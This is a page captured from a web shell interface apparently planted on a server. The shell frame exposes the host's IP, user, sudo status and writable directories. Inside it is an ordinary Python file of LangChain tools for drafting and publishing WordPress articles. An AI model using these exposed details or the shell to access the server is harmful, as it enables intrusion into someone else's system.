403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/www/html/api.turmansolutions.ai/app/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/www/html/api.turmansolutions.ai/app/services/article_studio_tools.py
"""Article Studio agent tools.

These are the tools an in-app LangChain agent uses to let a site admin *create
and improve articles conversationally* — the same building blocks create_articles.py
and improve_article.py (the create-series / improve-article skills) use, but callable
from a chat messenger instead of over SSH.

Design notes:
- Every tool is **async** so it can be awaited directly by ``AgentExecutor.ainvoke``.
  Blocking WordPress/LLM calls run through ``asyncio.to_thread`` so the SSE event
  loop keeps serving other requests.
- ``create_article`` calls ``ArticleCreationService.create_article`` in-process — the
  same method the CLI and the /article endpoint use — always with
  ``post_status='draft'``. Nothing this agent writes goes live until the admin asks
  for it and ``publish_article`` runs.
- Tools that change an article append a typed *frame* (``article_draft`` /
  ``article_improved``) to ``self.frames``. The streaming endpoint drains them after
  the agent run and emits them over SSE so the frontend canvas can update. Tool
  *return values* stay short human-readable strings for the LLM to reason over.

Site scoping — the thing to review carefully:
- The toolset is bound to ONE site at construction and **no tool takes a site
  parameter**, so the agent has no way to name a different one.
- ``_resolve_post`` is the only path any tool has to a WordPress post. It always
  fetches from ``self.site.wp_host``, and rejects a URL whose host belongs to another
  site. Do NOT reuse ``improve_article.resolve_site`` here: that function scans every
  configured site and matches on host, which is right for an admin CLI and wrong for
  a studio, where it would let a pasted URL reach someone else's site.
"""

import asyncio
import json
import logging
from typing import List, Optional, Tuple
from urllib.parse import urlparse

import httpx
from bs4 import BeautifulSoup
from langchain_core.tools import StructuredTool

from app.appTypes import ArticleResponse, Character, SiteConfig
from app.services.article_creation_service import ArticleCreationService
from app.services.chat import ChatService
from app.services.corrections_service import run_corrections_core
from app.services.image import ImageService
from app.services.wp import WpService
from app.utilities.citations import normalize_citations
from app.utilities.fact_check import fact_check_author_name, find_fact_check_comment

API_BASE = "http://127.0.0.1:8000/api/v1"

EDITOR_EMAIL = "editor@turmansolutions.ai"

article_creation_service = ArticleCreationService()


def _editor_character() -> Character:
    """Minimal Character used as the `character` arg for post_comment.

    Identifying fields are overridden via author_name_override / author_email_override,
    mirroring improve_article.stub_character.
    """
    return Character(name="Editor", email=EDITOR_EMAIL, description="", enabled=True, date="")


class ArticleStudioToolset:
    """Builds the studio tools bound to a single site and collects UI frames.

    Construct one per agent run: ``toolset = ArticleStudioToolset(site)``, pass
    ``toolset.tools`` to the agent, then after ``ainvoke`` emit ``toolset.frames``.
    """

    def __init__(self, site: SiteConfig):
        self.site = site
        self.origin = f"https://{site.cb_host}"
        self.wp_service = WpService()
        self.chat_service = ChatService()
        self.image_service = ImageService()
        # Typed SSE frames accumulated by mutating tools, drained by the endpoint.
        self.frames: List[dict] = []
        self._wp_token: Optional[str] = None

    # ---- HTTP helpers (call the local API with this site's Origin) -----------

    async def _get(self, path: str) -> httpx.Response:
        async with httpx.AsyncClient(timeout=30) as client:
            return await client.get(f"{API_BASE}{path}", headers={"Origin": self.origin})

    async def _fetch_character(self, slug: str) -> Optional[dict]:
        """Return the full character dict (as the API serializes it) or None."""
        resp = await self._get(f"/cms/character/by-slug/{self.site.slug}/{slug}")
        if resp.status_code != 200:
            return None
        return resp.json().get("data")

    async def _token(self) -> str:
        """Service JWT for this site's WordPress, fetched once per agent run."""
        if not self._wp_token:
            token = await asyncio.to_thread(self.wp_service.get_jwt_token, self.site)
            if not isinstance(token, str):
                raise RuntimeError(f"Could not authenticate with {self.site.wp_host}")
            self._wp_token = token
        return self._wp_token

    # ---- Post resolution (the site-scoping kernel) ---------------------------

    async def _resolve_post(self, ref: str) -> Tuple[Optional[dict], Optional[str]]:
        """Resolve a post reference to a WP post on THIS site.

        `ref` may be a full URL, a post slug, or a numeric post id. Returns
        (post, None) on success or (None, refusal_message) on failure — the
        refusal string is handed straight back to the agent as the tool result.

        A URL pointing at any host other than this site's wp_host is refused.
        This is the boundary that keeps the studio from touching another site's
        content, so it must stay the single entry point for every post-facing tool.
        """
        ref = (ref or "").strip()
        if not ref:
            return None, "No article reference given. Provide the article's URL, slug, or post id."

        site_host = urlparse(self.site.wp_host).hostname
        slug: Optional[str] = None
        post_id: Optional[int] = None

        if ref.startswith("http://") or ref.startswith("https://"):
            parsed = urlparse(ref)
            if parsed.hostname != site_host:
                return None, (
                    f"Refused: {parsed.hostname} is not this site. This studio can only work on "
                    f"articles on {site_host}."
                )
            parts = [p for p in parsed.path.split("/") if p]
            if not parts:
                return None, f"Could not extract an article slug from the URL path: {parsed.path}"
            slug = parts[-1]
        elif ref.isdigit():
            post_id = int(ref)
        else:
            slug = ref

        token = await self._token()
        if post_id is not None:
            post = await asyncio.to_thread(self.wp_service.get_article, self.site, token, post_id)
            if not post:
                return None, f"No article found with post id {post_id} on {site_host}."
            return post, None

        post = await asyncio.to_thread(self._fetch_post_by_slug, slug, token)
        if not post:
            return None, f"No article found with slug '{slug}' on {site_host}."
        return post, None

    def _fetch_post_by_slug(self, slug: str, token: str) -> Optional[dict]:
        """Fetch a post by slug from this site, including drafts (blocking)."""
        import requests

        response = requests.get(
            f"{self.site.wp_host}/wp-json/wp/v2/posts",
            params={"slug": slug, "_embed": "true", "status": "publish,draft,pending,future"},
            headers={"Authorization": f"Bearer {token}"},
            timeout=30,
        )
        if response.status_code != 200:
            logging.warning(
                f"Article Studio post lookup failed for '{slug}': "
                f"{response.status_code} {response.text[:200]}")
            return None
        posts = response.json()
        return posts[0] if posts else None

    # ---- Shared post helpers -------------------------------------------------

    @staticmethod
    def _article_from_post(post: dict) -> ArticleResponse:
        """Minimal ArticleResponse from a WP post (mirrors improve_article.build_article)."""
        return ArticleResponse(
            title=post.get("title", {}).get("rendered", ""),
            body=post.get("content", {}).get("rendered", ""),
            category="",
            tags=[],
        )

    @staticmethod
    def _search_results_from_post(post: dict) -> Optional[list]:
        raw = (post.get("meta") or {}).get("_tsai_search_results")
        if not raw:
            return None
        try:
            return json.loads(raw) if isinstance(raw, str) else raw
        except (ValueError, TypeError) as e:
            logging.warning(f"Could not parse _tsai_search_results meta: {e}")
            return None

    def _draft_frame(self, post: dict, title: str, body: str) -> None:
        self.frames.append({
            "type": "article_draft",
            "title": title,
            "body": body,
            "link": post.get("link"),
            "postId": post.get("id"),
            "status": post.get("status", "draft"),
        })

    # ---- Tools ---------------------------------------------------------------

    async def list_characters(self) -> str:
        """List the characters (authors) that exist on this site, with their slugs and
        a short description. Call this first so you can pick or confirm the author an
        article should be written by."""
        resp = await self._get("/cms/characters/")
        if resp.status_code != 200:
            return f"Could not list characters (HTTP {resp.status_code})."
        chars = resp.json().get("data", [])
        if not chars:
            return ("This site has no characters yet. Articles are written by a character, "
                    "so one must be created in the Character Studio first.")
        lines = []
        for c in chars:
            desc = (c.get("description") or "").strip().replace("\n", " ")
            if len(desc) > 120:
                desc = desc[:120] + "…"
            lines.append(f"- {c.get('name')} (slug: {c.get('slug')}): {desc}")
        return "Existing characters:\n" + "\n".join(lines)

    async def list_recent_articles(self, character_slug: Optional[str] = None, count: int = 10) -> str:
        """List recent articles on this site, most recent first, with their titles,
        slugs, status and post ids. Pass character_slug to see only that author's
        articles. Use this to find an article the admin wants to improve.

        Args:
            character_slug: Optional character slug to filter by author.
            count: How many articles to list (1-50).
        """
        count = max(1, min(count, 50))
        author_id = None
        if character_slug:
            data = await self._fetch_character(character_slug)
            if not data:
                return f"No character found with slug '{character_slug}'."
            character = Character(**data)
            token = await self._token()
            wp_users = await asyncio.to_thread(self.wp_service.get_users, self.site, token)
            await asyncio.to_thread(self.wp_service.add_to_character, self.site, character, wp_users)
            if not character.wp_user:
                return (f"Character '{character_slug}' has no WordPress author account, so it has "
                        f"no articles yet.")
            author_id = character.wp_user.id

        token = await self._token()
        posts = await asyncio.to_thread(
            self.wp_service.get_recent_articles, self.site, token, count, author_id)
        if not posts:
            return "No articles found."
        lines = []
        for p in posts:
            title = p.get("title", {}).get("rendered", "")
            lines.append(
                f"- [{p.get('status', '?')}] {title} (slug: {p.get('slug')}, id: {p.get('id')}, "
                f"{p.get('date', '')[:10]})")
        return "Recent articles:\n" + "\n".join(lines)

    async def create_article(
        self,
        character_slug: str,
        topic: str,
        research: Optional[bool] = None,
        generate_featured_image: bool = False,
        series_name: Optional[str] = None,
    ) -> str:
        """Write a new article as a DRAFT, authored by one of this site's characters.

        The article is saved as an unpublished WordPress draft — it never goes live
        until publish_article is called. Review the draft with the admin first.

        Args:
            character_slug: Slug of the character who writes it (from list_characters).
            topic: The brief for THIS article — what it should cover, angle, and any
                must-hit points. Be specific; this is added to the character's standing
                writing brief, it does not replace their persona.
            research: Whether to research current events via web search before writing.
                Defaults to the character's own setting.
            generate_featured_image: Whether to generate a featured image now. Leave
                false for a fast draft; set_featured_image can add one later.
            series_name: Optional series to file the article under.
        """
        data = await self._fetch_character(character_slug)
        if not data:
            return (f"No character found with slug '{character_slug}'. "
                    f"Use list_characters to see valid slugs.")

        character = Character(**data)
        # character_description_override REPLACES the "About You" section of the
        # article system message (see WpService.get_new_article_system_message), so
        # compose the persona plus this article's brief rather than passing the bare
        # topic — otherwise the character's voice is erased for this article.
        description_override = (
            f"{(character.description or '').rstrip()}\n\n"
            f"## This Article\n\n{topic}"
        )
        do_research = (bool(character.researchCurrentEvents) if research is None else research)

        try:
            result = await article_creation_service.create_article(
                site=self.site,
                character=character,
                character_description_override=description_override,
                generate_featured_image=generate_featured_image,
                generate_secondary_image=False,
                research_current_events=do_research,
                include_previous_articles=True,
                enable_fact_checking=False,
                enable_corrections=False,
                series_name=series_name,
                post_status='draft',
            )
        except Exception as e:  # noqa: BLE001 - surface generation failure to the agent
            logging.error(f"Article Studio create_article failed for '{character_slug}': {e}")
            return f"Article creation failed: {e}"

        self.frames.append({
            "type": "article_draft",
            "title": result.article.title,
            "body": result.article.body,  # markdown; frontend renders it
            "link": result.permalink,
            "postId": result.post_id,
            "status": "draft",
        })
        preview = (result.article.body or "")[:600]
        return (f"Created DRAFT article '{result.article.title}' (post id {result.post_id}) "
                f"by {character.name}. Preview: {preview}")

    async def get_article(self, ref: str) -> str:
        """Read an article on this site so you can review or critique it. Returns the
        title, status and full body.

        Args:
            ref: The article's URL, slug, or numeric post id.
        """
        post, refusal = await self._resolve_post(ref)
        if refusal:
            return refusal
        article = self._article_from_post(post)
        return (f"Title: {article.title}\n"
                f"Status: {post.get('status')}\n"
                f"Post id: {post.get('id')}\n"
                f"Link: {post.get('link')}\n\n"
                f"Body (HTML):\n{article.body}")

    async def revise_article(self, ref: str, instructions: str) -> str:
        """Rewrite an article's body according to the admin's instructions (e.g.
        "tighten the intro", "add a section on X", "cut the third paragraph"). The
        whole body is rewritten and saved back to WordPress; the article's status is
        unchanged, so a draft stays a draft.

        Args:
            ref: The article's URL, slug, or numeric post id.
            instructions: What to change, in plain language. Be specific.
        """
        post, refusal = await self._resolve_post(ref)
        if refusal:
            return refusal

        article = self._article_from_post(post)
        images = await asyncio.to_thread(self.wp_service.extract_images, post)
        try:
            revised_body, summary = await asyncio.to_thread(
                self.chat_service.revise_article_body,
                article.title, article.body, instructions, images or [],
            )
        except Exception as e:  # noqa: BLE001
            logging.error(f"Article Studio revise failed for post {post.get('id')}: {e}")
            return f"Revision failed: {e}"

        token = await self._token()
        await asyncio.to_thread(
            self.wp_service.update_post_content, self.site, token, post["id"], revised_body)

        self._draft_frame(post, article.title, revised_body)
        return f"Revised '{article.title}'. {summary}"

    async def set_featured_image(self, ref: str) -> str:
        """Generate a new featured image for an article and attach it, replacing any
        existing one. Uses the same image path new articles use.

        Args:
            ref: The article's URL, slug, or numeric post id.
        """
        post, refusal = await self._resolve_post(ref)
        if refusal:
            return refusal

        article = self._article_from_post(post)
        try:
            featured_image, _ = await self.wp_service.create_image(self.site, article)
            token = await self._token()
            resp = await asyncio.to_thread(
                self.image_service.compress_and_save, self.site, token, featured_image, 50)
            if "error" in resp:
                return (f"Image upload failed: {resp.get('error')} "
                        f"{resp.get('message', '')}".strip())
            image_url = str(resp.get("source_url", featured_image))
            await asyncio.to_thread(
                self.wp_service.post_featured_image, self.site, token, post["id"], resp["id"])
        except Exception as e:  # noqa: BLE001
            logging.error(f"Article Studio featured image failed for post {post.get('id')}: {e}")
            return f"Featured image failed: {e}"

        self.frames.append({
            "type": "article_improved",
            "postId": post["id"],
            "operation": "featured_image",
            "detail": image_url,
        })
        return f"New featured image set on '{article.title}': {image_url}"

    async def fact_check(self, ref: str) -> str:
        """Fact-check an article and post the result as a comment on it, using the
        opposite AI provider from the one that wrote it. Grounded on the article's
        stored search results when it has them. Run this before corrections.

        Args:
            ref: The article's URL, slug, or numeric post id.
        """
        post, refusal = await self._resolve_post(ref)
        if refusal:
            return refusal

        article = self._article_from_post(post)
        images = await asyncio.to_thread(self.wp_service.extract_images, post)
        search_results = self._search_results_from_post(post)

        try:
            comment, model_name, provider_name = await asyncio.to_thread(
                self.chat_service.fact_check_article,
                article.title, article.body, images or [], None, search_results,
            )
            token = await self._token()
            posted = await asyncio.to_thread(
                lambda: self.wp_service.post_comment(
                    site=self.site,
                    character=_editor_character(),
                    post_id=post["id"],
                    comment=comment,
                    token=token,
                    author_name_override=fact_check_author_name(provider_name, model_name),
                    author_email_override=EDITOR_EMAIL,
                )
            )
        except Exception as e:  # noqa: BLE001
            logging.error(f"Article Studio fact-check failed for post {post.get('id')}: {e}")
            return f"Fact-check failed: {e}"

        if not posted:
            return ("The fact-check was generated but WordPress rejected the comment. "
                    "It may need to be posted manually.")

        self.frames.append({
            "type": "article_improved",
            "postId": post["id"],
            "operation": "fact_check",
            "detail": f"{provider_name} {model_name}",
        })
        text = BeautifulSoup(comment, "html.parser").get_text(separator=" ").strip()
        return (f"Fact-check posted on '{article.title}' via {provider_name} {model_name}. "
                f"Findings: {text[:800]}")

    async def corrections(self, ref: str, model_name: Optional[str] = None) -> str:
        """Act on an article's fact-check: post a corrections follow-up threaded under
        it, and edit the article body when the fact-check found genuine factual errors.
        Requires an existing fact-check comment — run fact_check first.

        Note: on some sites comments are held for moderation and are not visible to
        this tool until approved, so a fact-check posted moments ago may not be found.

        Args:
            ref: The article's URL, slug, or numeric post id.
            model_name: Optional model to force (e.g. 'claude-sonnet-4-6'). Defaults to
                a random pick between Claude and OpenAI.
        """
        post, refusal = await self._resolve_post(ref)
        if refusal:
            return refusal

        comments = await asyncio.to_thread(self.wp_service.get_comments, self.site, post["id"])
        fact_check_comment = find_fact_check_comment(comments)
        if not fact_check_comment:
            return ("No fact-check comment found on this article; corrections need one. "
                    "Run fact_check first. (If a fact-check was just posted, it may still be "
                    "awaiting moderation.)")

        article = self._article_from_post(post)
        fact_check_html = fact_check_comment.get("content", {}).get("rendered", "")
        fact_check_text = BeautifulSoup(fact_check_html, "html.parser").get_text(
            separator="\n").strip()
        images = await asyncio.to_thread(self.wp_service.extract_images, post)

        try:
            token = await self._token()
            result = await asyncio.to_thread(
                lambda: run_corrections_core(
                    wp_service=self.wp_service,
                    chat_service=self.chat_service,
                    site=self.site,
                    wp_token=token,
                    post_id=post["id"],
                    article_title=article.title,
                    # The revised body is written straight back to WordPress with no
                    # markdown rendering, so hand over the published HTML.
                    article_body=article.body,
                    fact_check_text=fact_check_text,
                    parent_comment_id=fact_check_comment.get("id"),
                    images=images or [],
                    search_results=self._search_results_from_post(post),
                    character=_editor_character(),
                    corrections_model_name=model_name,
                )
            )
        except Exception as e:  # noqa: BLE001
            logging.error(f"Article Studio corrections failed for post {post.get('id')}: {e}")
            return f"Corrections failed: {e}"

        self.frames.append({
            "type": "article_improved",
            "postId": post["id"],
            "operation": "corrections",
            "detail": ("body updated" if result["body_updated"] else "no body edits needed"),
        })
        return (f"Corrections posted on '{article.title}' via {result['provider_name']} "
                f"{result['model_name']}. "
                + ("The article body was updated." if result["body_updated"]
                   else "No factual edits were warranted; the body stands as written."))

    async def fix_citations(self, ref: str) -> str:
        """Normalize an article's inline citations to the canonical clickable
        superscript form, fixing older articles where raw markdown citations leaked
        into the body as visible URLs. Pure text normalization — no AI, and a no-op
        on a clean article.

        Args:
            ref: The article's URL, slug, or numeric post id.
        """
        post, refusal = await self._resolve_post(ref)
        if refusal:
            return refusal

        token = await self._token()
        raw = await asyncio.to_thread(self._fetch_raw_content, post["id"], token)
        fixed = normalize_citations(raw)
        if fixed == raw:
            return f"No citation changes needed for post {post['id']}."

        await asyncio.to_thread(
            self.wp_service.update_post_content, self.site, token, post["id"], fixed)
        self.frames.append({
            "type": "article_improved",
            "postId": post["id"],
            "operation": "fix_citations",
            "detail": "citations normalized",
        })
        return f"Citations normalized on post {post['id']}."

    def _fetch_raw_content(self, post_id: int, token: str) -> str:
        """Return the post's RAW stored content via an authenticated edit-context GET.

        Using `raw` (not `rendered`) avoids re-storing WP's processed output — only the
        citations should change.
        """
        import requests

        response = requests.get(
            f"{self.site.wp_host}/wp-json/wp/v2/posts/{post_id}",
            params={"context": "edit"},
            headers={"Authorization": f"Bearer {token}"},
            timeout=30,
        )
        if response.status_code != 200:
            raise RuntimeError(
                f"Failed to fetch raw content: {response.status_code} {response.text[:200]}")
        return response.json().get("content", {}).get("raw", "") or ""

    async def publish_article(self, ref: str) -> str:
        """Publish a draft article, making it live and public on the site. Only call
        this when the admin has explicitly asked for the article to be published.

        Args:
            ref: The article's URL, slug, or numeric post id.
        """
        post, refusal = await self._resolve_post(ref)
        if refusal:
            return refusal

        if post.get("status") == "publish":
            return f"'{self._article_from_post(post).title}' is already published."

        token = await self._token()
        try:
            updated = await asyncio.to_thread(
                self.wp_service.update_post_status, self.site, token, post["id"], "publish")
        except Exception as e:  # noqa: BLE001
            logging.error(f"Article Studio publish failed for post {post.get('id')}: {e}")
            return f"Publish failed: {e}"

        article = self._article_from_post(post)
        self.frames.append({
            "type": "article_draft",
            "title": article.title,
            "body": article.body,
            "link": updated.get("link", post.get("link")),
            "postId": post["id"],
            "status": "publish",
        })
        return f"Published '{article.title}': {updated.get('link', post.get('link'))}"

    # ---- Assembly ------------------------------------------------------------

    @property
    def tools(self) -> List[StructuredTool]:
        """LangChain StructuredTools (schemas inferred from signatures + docstrings)."""
        specs = [
            (self.list_characters, "list_characters"),
            (self.list_recent_articles, "list_recent_articles"),
            (self.create_article, "create_article"),
            (self.get_article, "get_article"),
            (self.revise_article, "revise_article"),
            (self.set_featured_image, "set_featured_image"),
            (self.fact_check, "fact_check"),
            (self.corrections, "corrections"),
            (self.fix_citations, "fix_citations"),
            (self.publish_article, "publish_article"),
        ]
        return [
            StructuredTool.from_function(coroutine=fn, name=name)
            for fn, name in specs
        ]

Youez - 2016 - github.com/yon3zu
LinuXploit